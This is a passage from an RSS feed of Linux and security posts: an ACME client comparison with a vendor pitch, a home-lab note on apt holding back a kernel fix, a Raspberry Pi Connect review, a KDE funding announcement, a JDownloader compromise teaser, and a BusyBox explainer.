shell script&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dependencies&lt;/td&gt;&lt;td&gt;Requires Python 3.4 or later&lt;/td&gt;&lt;td&gt;Any Linux shell, no extras needed&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ACME Version&lt;/td&gt;&lt;td&gt;ACMEv2&lt;/td&gt;&lt;td&gt;ACMEv2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Wildcard Certificates&lt;/td&gt;&lt;td&gt;Supported via DNS-01&lt;/td&gt;&lt;td&gt;Supported via DNS-01&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Apache / NGINX Integration&lt;/td&gt;&lt;td&gt;Automatic install and reload&lt;/td&gt;&lt;td&gt;Issuance only, manual deployment hooks&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DNS Provider Support&lt;/td&gt;&lt;td&gt;Limited built-in providers&lt;/td&gt;&lt;td&gt;150+ providers supported&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TLS-ALPN-01 Validation&lt;/td&gt;&lt;td&gt;Not supported&lt;/td&gt;&lt;td&gt;Supported&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Renewal&lt;/td&gt;&lt;td&gt;Fully automated via systemd timer&lt;/td&gt;&lt;td&gt;Fully automated via cron&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Best Fit&lt;/td&gt;&lt;td&gt;Public web servers, quick setup&lt;/td&gt;&lt;td&gt;Scripted pipelines, internal services, containers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Centralized Management&lt;/td&gt;&lt;td&gt;Per-server only&lt;/td&gt;&lt;td&gt;Per-server only&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;In practice, Certbot wins on simplicity. If you manage Apache or Nginx on a handful of public-facing servers, Certbot installs in minutes and runs itself. acme.sh wins on flexibility: its shell-native design means it fits anywhere Linux runs, its DNS provider coverage is unmatched, and its deployment hooks let you trigger any post-renewal action you need. Neither tool, though, was built with centralized governance in mind. Both store certificates locally on the server and operate independently, which matters a lot when managing certificates across dozens or hundreds of systems.&lt;/p&gt;&lt;h2&gt;ACME Clients on Linux Beyond Websites: APIs and Internal Services&lt;/h2&gt;&lt;p&gt;Most people associate SSL/TLS certificates with public websites, but in a modern Linux environment, certificates are just as critical for internal traffic. REST APIs, microservices, message brokers, and internal tooling all need encrypted, authenticated connections to prevent data interception and lateral movement by attackers who have gained a foothold inside the network.&lt;/p&gt;&lt;p&gt;The attack surface created by unmanaged &lt;a href=&quot;https://www.encryptionconsulting.com/types-of-ssl-certificates/&quot;&gt;internal certificates&lt;/a&gt; is significant and often overlooked. ACME clients handle internal certificate issuance and renewal using the same automation model as public websites, making consistent &lt;a href=&quot;https://www.encryptionconsulting.com/guide-to-tls-encryption/&quot;&gt;encryption&lt;/a&gt; across the entire infrastructure a practical reality.&lt;/p&gt;&lt;h2&gt;Security Considerations When Using ACME Clients on Linux&lt;/h2&gt;&lt;p&gt;Automation reduces human error, but it does not eliminate the need for good security hygiene. A few areas deserve particular attention when running ACME clients on Linux in production.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Private key protection: &lt;/strong&gt;It is the most important step. ACME clients generate private keys directly on the Linux server, and those files need restrictive permissions. Broad read access on a private key file is a critical vulnerability; anyone who can read it can impersonate your server. See our guide on best practices for protecting SSL/TLS certificates for a full checklist.
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Least privilege for the ACME process: &lt;/strong&gt;The client only needs enough access to write certificate files and reload the web server, nothing more. Running it with elevated permissions unnecessarily increases your attack surface.
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Renewal monitoring: &lt;/strong&gt;Renewals are automatic until they are not. A DNS change, a new firewall rule, or a misconfigured challenge response can all cause silent failures, leaving you with an expiring certificate and no warning. Log renewal outcomes and alert on failures. Our post on how to check SSL certificate validity covers the monitoring side in detail.
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;CA and policy alignment: &lt;/strong&gt;In regulated environments, your organization likely has an approved CA list, a required key algorithm, and a minimum key length. ACME clients do not enforce those policies on their own; they will use whatever CA you point them at and whatever defaults they are shipped with. Without centralized configuration management, configurations drift across servers over time.
&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Challenges of Managing ACME at Enterprise Scale&lt;/h2&gt;&lt;p&gt;ACME clients on Linux work brilliantly on a single server or a small fleet. The cracks start showing once you are operating at scale across multiple teams, environments, and platforms.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;No global visibility:&lt;/strong&gt; Every server manages its own certificates in isolation. There is no central inventory, no unified dashboard, and no easy way to answer “which certificates are expiring in the next 30 days across all our systems?” A team running Certbot on 40 Nginx servers and acme.sh on container hosts has no single place to look. Orphaned certificates, the certificates that are no longer tied to active services, quietly stay alive as shadow certs, creating compliance exposure and unnecessary risk.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Inconsistent configurations:&lt;/strong&gt; Enterprise security policies typically mandate specific CAs, key algorithms, and renewal windows. With standalone ACME clients, each server is configured independently. One team uses RSA-2048 from Let’s Encrypt, another uses ECDSA from a different CA entirely, and your compliance audit has to reconcile them manually.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Deployment coordination failures:&lt;/strong&gt; Renewing a certificate is only half the job. The renewed certificate has to be reloaded by every service that uses it: the web server, the load balancer, the Tomcat instance, and the internal API.
ACME clients handle their own reload hooks, but in distributed environments, it is common for a certificate to be updated on disk and silently not reloaded somewhere downstream, producing unexpected TLS failures that are frustrating to diagnose.
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;No enterprise integrations:&lt;/strong&gt; ACME clients are automation tools, not operations platforms. They do not send alerts to your SIEM, open tickets in ServiceNow, or integrate with your monitoring stack. A renewal failure on a production server stays invisible until something breaks.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Why Enterprises Need Centralized ACME Management&lt;/h2&gt;&lt;p&gt;The solution to these challenges is not to replace ACME clients; they are really good at what they do. The missing piece is a centralized management layer that gives you visibility and control across the entire fleet without changing how individual clients operate.&lt;/p&gt;&lt;p&gt;A centralized layer gives security teams a single inventory of all certificates issued through ACME, regardless of which server or client produced them. Expiring certificates are visible weeks in advance rather than discovered during an outage. Policy enforcement becomes uniform: approved CAs, required key lengths, and renewal thresholds apply everywhere, not just to servers that were carefully configured.&lt;/p&gt;&lt;p&gt;When a certificate needs to be revoked due to a key compromise, every dependent service can be identified and updated in a coordinated manner rather than tracked down manually. When a renewal fails, an alert fires immediately rather than a production incident being the first sign something went wrong. &lt;/p&gt;&lt;h2&gt;How Encryption Consulting Can Help&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.encryptionconsulting.com/certificate-management-solution-certsecure-manager/&quot;&gt;CertSecure Manager&lt;/a&gt; is Encryption Consulting’s certificate lifecycle management platform, purpose-built to handle exactly the scale and governance challenges described above.&lt;/p&gt;&lt;p&gt;It sits alongside your existing ACME clients rather than replacing them. Certbot and acme.sh keep doing what they do, while CertSecure Manager tracks every certificate they issue, enforces your cryptographic policies, and gives you a unified view of the entire lifecycle across your Linux infrastructure.&lt;/p&gt;&lt;p&gt;CertSecure Manager integrates with public CAs like Let’s Encrypt and with its own custom ACME endpoint, so issuance and renewal stay fully automated. It also reduces certificate-related outages by providing configurable 30-day or longer advance alerts.&lt;/p&gt;&lt;p&gt;On the deployment side, &lt;a href=&quot;https://www.encryptionconsulting.com/automate-certificates-ansible-certsecure/&quot;&gt;Ansible&lt;/a&gt; playbooks consistently manage ACME client configuration, certificate deployment, and service reloads across Apache, Nginx, Tomcat, and IIS in both on-premises and hybrid cloud environments, all without manual intervention.&lt;/p&gt;&lt;p&gt;As your environment grows, CertSecure Manager scales with it. It provides a unified certificate inventory, enforces cryptographic standards across all teams, and delivers visibility into lifecycle events. Its operational integrations for alerts, ticketing, and audit logging turn certificate management from a reactive fire-fighting exercise into a controlled, auditable process.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;Certificate Management&lt;/p&gt;&lt;p&gt;Prevent certificate outages, streamline IT operations, and achieve agility with our certificate management solution.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://www.encryptionconsulting.com/certificate-management-solution-certsecure-manager/&quot;&gt;Book a Demo&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=M9Hur-8u6xo&quot;&gt;ACME&lt;/a&gt; has genuinely transformed how SSL/TLS certificate management works on Linux. What used to be a manual, deadline-driven chore is now an automated background process that most teams rarely think about.&lt;/p&gt;&lt;p&gt;The best ACME clients on Linux, including Certbot, acme.sh, and similar tools, handle the issuance and renewal loop reliably across Apache, Nginx, Tomcat, and virtually every other Linux-based platform. With validity periods heading toward 47 days, automation is no longer optional; it is essential.&lt;/p&gt;&lt;p&gt;The gap that remains is governance. Individual ACME clients were not designed to provide enterprise teams with visibility across a fleet, enforce consistent policies, or integrate with the monitoring and alerting systems that production infrastructure relies on.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=dD5-rax_UmE&amp;amp;t=2s&quot;&gt;CertSecure Manager&lt;/a&gt; fills that gap, and &lt;a href=&quot;https://www.encryptionconsulting.com/cryptographic-discovery-inventory/&quot;&gt;CBOM Secure&lt;/a&gt;, &lt;a href=&quot;https://www.encryptionconsulting.com/pki-as-a-service/&quot;&gt;PKI-as-a-Service&lt;/a&gt;, and &lt;a href=&quot;https://www.encryptionconsulting.com/hsm-as-a-service/&quot;&gt;HSM-as-a-Service&lt;/a&gt; extend the platform into a complete enterprise cryptographic security stack.&lt;/p&gt;&lt;p&gt;If you are looking to strengthen your certificate automation, tighten governance, or just get ahead of the shift to shorter certificate validity periods, reach out to &lt;a href=&quot;https://www.encryptionconsulting.com/contact-us/&quot;&gt;Encryption Consulting&lt;/a&gt;. We help organizations at every stage of that journey, from first ACME deployment to enterprise-wide certificate lifecycle management.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>The Update Conundrum - The Unknown Universe</title>
<link>https://the.unknown-universe.co.uk/tech-stories/update-conundrum/</link>
<enclosure type="image/jpeg" length="0" url="https://the.unknown-universe.co.uk/wp-content/uploads/2026/05/update.webp"></enclosure>
<guid isPermaLink="false">hpf65xrIpvB0FE0ahRqyjywRpF1JE4NUnproiA==</guid>
<pubDate>Wed, 13 May 2026 17:10:27 +0000</pubDate>
<description>How a “kept back” Proxmox kernel left my home lab exposed to CVE‑2026‑31431 — why I now check upgradable packages and use apt full‑upgrade.</description>
<content:encoded>&lt;p&gt;I started my home lab in 2021. It began with some basic Home Assistant automations and, over the last few years, has spiralled into a proper stack of VMs and containers. I’m self-taught, which is a polite way of saying I’ve learned most of what I know by breaking things and then stubbornly refusing to go to bed until they’re fixed.&lt;/p&gt;&lt;p&gt;This morning, I found a hole in that logic.&lt;/p&gt;&lt;p&gt;A kernel bug, &lt;strong&gt;CVE-2026-31431&lt;/strong&gt;, or “Copy Fail” hit the news. It’s a logic flaw that lets an unprivileged process flip bytes in memory to get root access. Since I run LXC and Docker, my containers share the host kernel. A breach in one container could, in theory, let an attacker walk right out of their sandbox and own the entire host.&lt;/p&gt;&lt;p&gt;I checked my system and saw the build date was from March. The fix landed in late April. I’d run my usual updates and rebooted recently, so I should have been safe.&lt;/p&gt;&lt;p&gt;I wasn’t. I was still running the old, exploitable code.&lt;/p&gt;&lt;p&gt;I’ve always approached updates with a simple mindset: run them, and if it works, carry on. I don’t bother with simulated dry runs or overly cautious checks because I have solid backups. If an update breaks the system, I just roll it back and deal with it when I have more time. In several years of tinkering, I think I’ve only had to actually use that fallback once.&lt;/p&gt;&lt;p&gt;The problem was that my “if it’s broken, roll it back” safety net only works if the update actually happens.&lt;/p&gt;&lt;p&gt;Because I was only running &lt;code&gt;apt upgrade&lt;/code&gt;, the system was being overly polite. When a kernel update requires a change in dependencies, something Proxmox kernels do frequently, &lt;code&gt;apt&lt;/code&gt; just quietly “keeps back” the package. It doesn’t fail, it doesn’t break the system, and it doesn’t trigger a rollback. It just waits for me to notice. Since I wasn’t looking at the list of upgradable packages, I was rebooting into a system that was exactly as vulnerable as it was before I started.&lt;/p&gt;&lt;p&gt;Correcting it didn’t take a massive maintenance window. I just ensured my latest backups were intact, glanced at the “kept back” list, and used &lt;code&gt;apt full-upgrade&lt;/code&gt; to force the transition.&lt;/p&gt;&lt;p&gt;It’s been a bit of an eye-opener. I’m not going to start obsessing over every minor package change, but I’ve definitely changed my workflow. I’m now making a point of actually looking at what &lt;em&gt;&lt;strong&gt;&lt;code&gt;apt list --upgradable&lt;/code&gt; &lt;/strong&gt;&lt;/em&gt;is telling me. If I see the kernel or Proxmox sitting in that “kept back” pile, I know it’s time to move past the standard upgrade.&lt;/p&gt;&lt;p&gt;I’m also making it a habit to run &lt;code&gt;apt autoremove --purge&lt;/code&gt; once I’m happy the new kernel is stable. There’s no point in digital hoarding; it just clutters the boot partition and makes future updates messier.&lt;/p&gt;&lt;p&gt;Missing a nuance like this is the trade-off of being self-taught. You pick up habits that work perfectly until a specific set of circumstances—like a memory-resident kernel exploit—proves they don’t. I’d rather spend ten minutes fixing a workflow than spend a weekend wondering how an attacker got out of a container.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Raspberry Pi is getting into the services game - Jeff Geerling</title>
<link>https://www.jeffgeerling.com/blog/2024/raspberry-pi-getting-services-game/</link>
<guid isPermaLink="false">TGCacazsxwqEmjHJdnOwypYBaEWKCXI8EzVxdA==</guid>
<pubDate>Wed, 13 May 2026 16:07:36 +0000</pubDate>
<description>...and it&#39;s all free—so far. Raspberry Pi today launched Raspberry Pi Connect, a free remote VPN service for all Pi OS users. If you create a Raspberry Pi ID, you can sign up for Connect, install rpi-connect on a Pi 4 or 5 running 64-bit Pi OS 12 &#39;Bookworm&#39;, and register that Pi with the service. Then, on any other device&#39;s web browser, you can log in and remote control your Pi through Connect&#39;s web-based VNC viewer.</description>
<content:encoded>&lt;p&gt;...and it&amp;#39;s all free—&lt;em&gt;so far&lt;/em&gt;.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://www.jeffgeerling.com/blog/2024/raspberry-pi-getting-services-game/raspberry-pi-connect-logo.jpg&quot; alt=&quot;Raspberry Pi Connect Beta Logo&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;Raspberry Pi today launched &lt;a href=&quot;https://connect.raspberrypi.com&quot;&gt;Raspberry Pi Connect&lt;/a&gt;, a free remote VPN service for all Pi OS users.&lt;/p&gt;&lt;p&gt;If you create a &lt;a href=&quot;https://id.raspberrypi.com/&quot;&gt;Raspberry Pi ID&lt;/a&gt;, you can sign up for Connect, install &lt;code&gt;rpi-connect&lt;/code&gt; on a Pi 4 or 5 running 64-bit Pi OS 12 &amp;#39;Bookworm&amp;#39;, and register that Pi with the service.&lt;/p&gt;&lt;p&gt;Then, on any other device&amp;#39;s web browser, you can log in and remote control your Pi through Connect&amp;#39;s web-based VNC viewer.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://www.jeffgeerling.com/blog/2024/raspberry-pi-getting-services-game/raspberry-pi-connect-demo.jpg&quot; alt=&quot;Raspberry Pi Connect Demo&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;The VNC server is based on &lt;a href=&quot;https://github.com/any1/wayvnc&quot;&gt;wayvnc&lt;/a&gt;, and the Connect service allows for as many registered Pis as you want (though I&amp;#39;m guessing the interface is optimized for the majority use case of one or a few).&lt;/p&gt;&lt;p&gt;Raspberry Pi Connect was likely shipped in response to RealVNC&amp;#39;s slow migration from X11 to Wayland compatibility. RealVNC is installed by default on Pi OS, and has been for a long time, and many Pi users came to rely on it for remote Pi access.&lt;/p&gt;&lt;p&gt;When Pi OS 12 &amp;#39;Bookworm&amp;#39; was launched, &lt;a href=&quot;https://www.raspberrypi.com/news/bookworm-the-new-version-of-raspberry-pi-os/&quot;&gt;they switched from X11 to Wayland&lt;/a&gt;, and a number of GUI-reliant apps needed tweaks. RealVNC hasn&amp;#39;t been updated to work with Wayland, so it is not runnable by default on the latest Pis or Pi OS—though &lt;a href=&quot;https://help.realvnc.com/hc/en-us/articles/14110635000221-Raspberry-Pi-5-Bookworm-and-RealVNC-Connect&quot;&gt;you can force Pi OS back to X11 instead of Wayland to get RealVNC working&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;I&amp;#39;ve been using Connect for a few weeks in early beta access, and it&amp;#39;s been about as decent as any other VNC solution. It&amp;#39;s not quite as good as Microsoft&amp;#39;s Remote Desktop under bandwidth-constrained use, but it&amp;#39;s not bad either.&lt;/p&gt;&lt;p&gt;In this video, I go over use from home to the office (wired cable and fiber Internet) to use on a slow 5G connection (&amp;lt; 1 Mbps with 500ms ping times), and in all cases it&amp;#39;s usable, but it&amp;#39;s certainly less enjoyable on the slow connection!&lt;/p&gt;&lt;p&gt;There are a few quirks about Connect, like on mobile (I tested on my iPad and iPhone), there&amp;#39;s no way to bring up the virtual keyboard, so text entry is impossible unless you use a USB or Bluetooth keyboard.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://www.jeffgeerling.com/blog/2024/raspberry-pi-getting-services-game/raspberry-pi-connect-ipad-keyboard.jpg&quot; alt=&quot;Raspberry Pi Connect with an external keyboard on iPad&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;RealVNC has a full mobile app, so you&amp;#39;re able to fully control a remote PC, Mac, or Linux machine much more easily.&lt;/p&gt;&lt;p&gt;Also, Raspberry Pi Connect can do odd things like pick the wrong display if you have multiple monitors connected. You can switch displays in the Pi OS settings, but RealVNC, again, handles that situation better, allowing you to pick a monitor directly in its own UI, or show all monitors.&lt;/p&gt;&lt;p&gt;There are a number of other advantages to RealVNC as well, like multi-user accounts, so I hope they will update to work with Wayland soon. But it&amp;#39;s nice to have a free option directly from Raspberry Pi. Especially when it&amp;#39;s so simple to use.&lt;/p&gt;&lt;p&gt;I&amp;#39;m especially happy Raspberry Pi added a basic CLI to &lt;code&gt;rpi-connect&lt;/code&gt;—you can even sign into the service on a Pi over SSH with the command &lt;code&gt;rpi-connect signin&lt;/code&gt;. Copy out the URL, log in via a browser, and the Pi will connect headlessly:&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://www.jeffgeerling.com/blog/2024/raspberry-pi-getting-services-game/raspberry-pi-connect-cli-signin.jpg&quot; alt=&quot;rpi-connect signin&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;You &lt;em&gt;do&lt;/em&gt; need to be running the full desktop Pi OS—Pi OS Lite won&amp;#39;t work. And you also need auto-login enabled... at least for the time being. Eventually, I imagine you&amp;#39;ll be able to configure Raspberry Pi Connect while flashing the OS using Raspberry Pi Imager, but the service is in Beta, so I&amp;#39;m sure things will change quickly!&lt;/p&gt;&lt;p&gt;I&amp;#39;m sure some people better suited to discussing Connect&amp;#39;s security will do that in good time, but I didn&amp;#39;t see anything bad in that regard in my initial testing. Keeping the service so simple helps keep the attack surface small. Especially when the potential damage (allowing someone direct remote control access to your Pi, and by extension, your network) is so great!&lt;/p&gt;&lt;p&gt;I have a few other thoughts in the video embedded above, especially regarding whether the service could be monetized at some point, but I&amp;#39;m interested in hearing your thoughts too! The comment form is below, and will always be free!&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Sovereign Tech Fund invests over €1 million in KDE software development - KDE Community</title>
<link>https://kde.org/announcements/sovereign-tech-fund-invests-kde/</link>
<enclosure type="image/jpeg" length="0" url="https://kde.org/thumbnail.png"></enclosure>
<guid isPermaLink="false">YvxtXoKgT67a6sjx5maM51HgrBDEt20y0WWUEQ==</guid>
<pubDate>Wed, 13 May 2026 13:29:00 +0000</pubDate>
<description>Big Tech’s disregard for privacy laws and individuals’ personal data has become a matter of national security. As news of willful mismanagement fill the headlines on an almost daily basis, the world is beginning to turn away from expensive and insecure spyware-riddled software imposed by the likes of Microsoft, Google, Meta, Apple, et al.</description>
<content:encoded>&lt;p&gt;Big Tech’s disregard for privacy laws and individuals’ personal data has become a matter of national security. As news of willful mismanagement fill the headlines on an almost daily basis, the world is beginning to turn away from expensive and insecure spyware-riddled software imposed by the likes of Microsoft, Google, Meta, Apple, et al.&lt;/p&gt;&lt;p&gt;KDE offers the world a better way.&lt;/p&gt;&lt;p&gt;For 30 years, KDE has been providing the free and open-source software essential for digital sovereignty in personal, corporate, and public infrastructures: operating systems, desktop environments, document viewers, image and video editors, software development libraries, and much more.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://kde.org/announcements/sovereign-tech-fund-invests-kde/Plasma.png&quot; alt=&quot;&amp;quot;KDE&amp;#39;s Plasma desktop environment.&amp;quot;&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;&lt;a href=&quot;https://kde.org&quot;&gt;KDE&lt;/a&gt;’s software is competitive, publicly auditable, and freely available. It can be maintained, adapted, and improved in-house or by local software companies. And modifications (along with their source code) can be freely distributed to all users and departments within an organization.&lt;/p&gt;&lt;p&gt;As a non-profit, KDE has no shareholders to serve, no quarterly earnings to grow. KDE charges nothing for its software or its licensing. There are no subscriptions, no spying on users, no disclosure or resale of data that users choose to voluntarily share with KDE, and no secret training of AI models with said data.&lt;/p&gt;&lt;p&gt;KDE will use &lt;a href=&quot;https://www.sovereign.tech/programs/fund&quot;&gt;Sovereign Tech Fund&lt;/a&gt;’s investment to push its essential software products to the next level, providing every individual, business, and public administration with the opportunity to regain their privacy, security, and control over their digital sovereignty.&lt;/p&gt;&lt;p&gt;“&lt;em&gt;We have long invested in desktop technologies for a reason: they are the primary way people access and use digital services in everyday life&lt;/em&gt;” says Fiona Krakenbürger, Technical Director at the Sovereign Tech Agency. “&lt;em&gt;The desktop holds personal data and mediates nearly every service we depend on, from booking the next medical appointment, to education, to the way we work. We are investing in KDE because it is one of the two major desktop environments used across Linux and plays a key role in how millions of people experience open technology. Strengthening KDE&amp;#39;s testing infrastructure, security architecture, and communication frameworks is how we invest in the resilience and reliability of the core digital infrastructure that modern society depends on.&lt;/em&gt;”&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sovereign.tech/tech/kde&quot;&gt;Read more about Sovereign Tech Fund&amp;#39;s investment in KDE&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;About KDE&lt;/h2&gt;&lt;p&gt;KDE is an international technology team that creates free and open source software for desktop and portable computing. Among KDE’s products are a modern desktop system for Linux and UNIX platforms, comprehensive office productivity and groupware suites and hundreds of software titles in many categories including Internet and web applications, multimedia, entertainment, educational, graphics and software development. KDE software is translated into more than 60 languages and is built with ease of use and modern accessibility principles in mind. KDE’s full-featured applications run natively on Linux, BSD, Windows, Haiku, and macOS.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;font&gt;&lt;em&gt;Trademark Notices.&lt;/em&gt;&lt;br/&gt;&lt;br/&gt;KDE&lt;sup&gt;®&lt;/sup&gt; and the K Desktop Environment&lt;sup&gt;®&lt;/sup&gt; logo are registered trademarks of KDE e.V..&lt;br/&gt;Linux is a registered trademark of Linus Torvalds. UNIX is a registered trademark of The Open Group in the United States and other countries.&lt;br/&gt;All other trademarks and copyrights referred to in this announcement are the property of their respective owners.&lt;/font&gt;&lt;/p&gt;&lt;hr/&gt;&lt;h4&gt;Press Contacts&lt;/h4&gt;&lt;p&gt;For more information send us an email: &lt;a href=&quot;mailto:press@kde.org&quot;&gt;press@kde.org&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>JDownloader : le site officiel a diffusé un malware sur Windows et Linux pendant 24 heures</title>
<link>https://www.cyberattaque.org/jdownloader-le-site-officiel-a-diffuse-un-malware-sur-windows-et-linux-pendant-24-heures/</link>
<guid isPermaLink="false">kEcmoz9LC65m61hlYpWxz2ApSy3DrKYGWuUzRQ==</guid>
<pubDate>Wed, 13 May 2026 01:32:29 +0000</pubDate>
<description>Le site officiel de JDownloader, l’un des gestionnaires de téléchargements les plus utilisés au monde, a été compromis... L’article JDownloader : le site officiel a diffusé un malware sur Windows et Linux pendant 24 heures est apparu en premier sur Cyberattaque.org.</description>
<content:encoded>&lt;p&gt;Le site officiel de JDownloader, l’un des gestionnaires de téléchargements les plus utilisés au monde, a été compromis...&lt;/p&gt;&lt;p&gt;L’article &lt;a href=&quot;https://www.cyberattaque.org/jdownloader-le-site-officiel-a-diffuse-un-malware-sur-windows-et-linux-pendant-24-heures/&quot;&gt;JDownloader : le site officiel a diffusé un malware sur Windows et Linux pendant 24 heures&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.cyberattaque.org&quot;&gt;Cyberattaque.org&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>What is BusyBox? | Specular</title>
<link>https://specular.fi/post/what-is-busybox</link>
<guid isPermaLink="false">so9WOYtFT9eEBWbzfgC0qKc4lTOM0IclHcg-wQ==</guid>
<pubDate>Tue, 12 May 2026 22:11:17 +0000</pubDate>
<description>What is BusyBox?</description>
<content:encoded>&lt;h1&gt;What is BusyBox?&lt;/h1&gt;&lt;p&gt;2026-05-12&lt;/p&gt;&lt;div&gt;
            &lt;figure&gt;&lt;img src=&quot;https://specular.fi/static/uploads/2026/05/fall-7cb40a.jpg&quot; alt=&quot;Two ducks swim through a narrow stream partly hidden by tall reeds and yellow autumn leaves&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;before you even know, this moment will be a memory&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;I&amp;#39;ve often stumbled upon &lt;a href=&quot;https://busybox.net/&quot;&gt;BusyBox&lt;/a&gt;, but only after noticing Alpine, by default, has wget installed did I start to investigate where it comes from. Except the wget version was &amp;quot;BusyBox Wget&amp;quot;.&lt;/p&gt;
&lt;p&gt;But what&amp;#39;s that?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run --rm -it alpine sh
/ # which wget
/usr/bin/wget
/ # ls -lah /usr/bin/wget
lrwxrwxrwx    1 root     root          12 Apr 15 04:51 /usr/bin/wget -&amp;gt; /bin/busybox&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After running &lt;code&gt;ls -la /usr/bin&lt;/code&gt;, my mind was blown: nearly 130+ executables are from a single binary!&lt;/p&gt;
&lt;p&gt;That explains the name &amp;quot;multicall binary&amp;quot;. But... how? How does BusyBox work?&lt;/p&gt;
&lt;p&gt;How does a single binary know which executable to run? Well, I guessed it right:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;applet_name = argv[0];
if (applet_name[0] == &amp;#39;-&amp;#39;)
  applet_name++;
applet_name = bb_basename(applet_name);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, an explicit invocation would also work:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/ # busybox ls -1
bin
dev
etc
home

/ # busybox meheh
meheh: applet not found&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, to run wget, we find it by name and run it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int applet = find_applet_by_name(name);
// ...
run_applet_no_and_exit(applet, name, argv);
// ...
xfunc_error_retval = applet_main[applet_no](argc, argv);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each applet has its own C file, wget being &lt;code&gt;wget.c&lt;/code&gt;. Each applet also appears to have some sort of &amp;quot;config&amp;quot; defined in code comments:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;//config:config WGET
//config:	bool &amp;quot;wget (41 kb)&amp;quot;
//config:	default y
//config:	help
//config:	wget is a utility for non-interactive download of files from HTTP
//config:	and FTP servers.
//applet:IF_WGET(APPLET(wget, BB_DIR_USR_BIN, BB_SUID_DROP))
//kbuild:lib-$(CONFIG_WGET) += wget.o&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And eventually, we invoke the wget main:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int wget_main(int argc UNUSED_PARAM, char **argv)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Other interesting bits: BusyBox also supports hard links.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;busybox --install -s&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-s&lt;/code&gt; creates symlinks.&lt;/p&gt;
&lt;p&gt;You can also list what commands it has compiled in:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/ # busybox --list | wc -l
304&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, Alpine is more like an interface to BusyBox-based binaries. Each binary seems to be a bit stripped-down version of the actual full-blown one. I&amp;#39;d still be interested to know if these are reimplementations or just the original source code of the utility shrunk down.&lt;/p&gt;

        &lt;/div&gt;&lt;p&gt;
                
                    &lt;a href=&quot;https://specular.fi/?tag=alpine&quot;&gt;Alpine&lt;/a&gt;, 
                
                    &lt;a href=&quot;https://specular.fi/?tag=busybox&quot;&gt;BusyBox&lt;/a&gt;, 
                
                    &lt;a href=&quot;https://specular.fi/?tag=curiosity&quot;&gt;Curiosity&lt;/a&gt;, 
                
                    &lt;a href=&quot;https://specular.fi/?tag=linux&quot;&gt;Linux&lt;/a&gt;, 
                
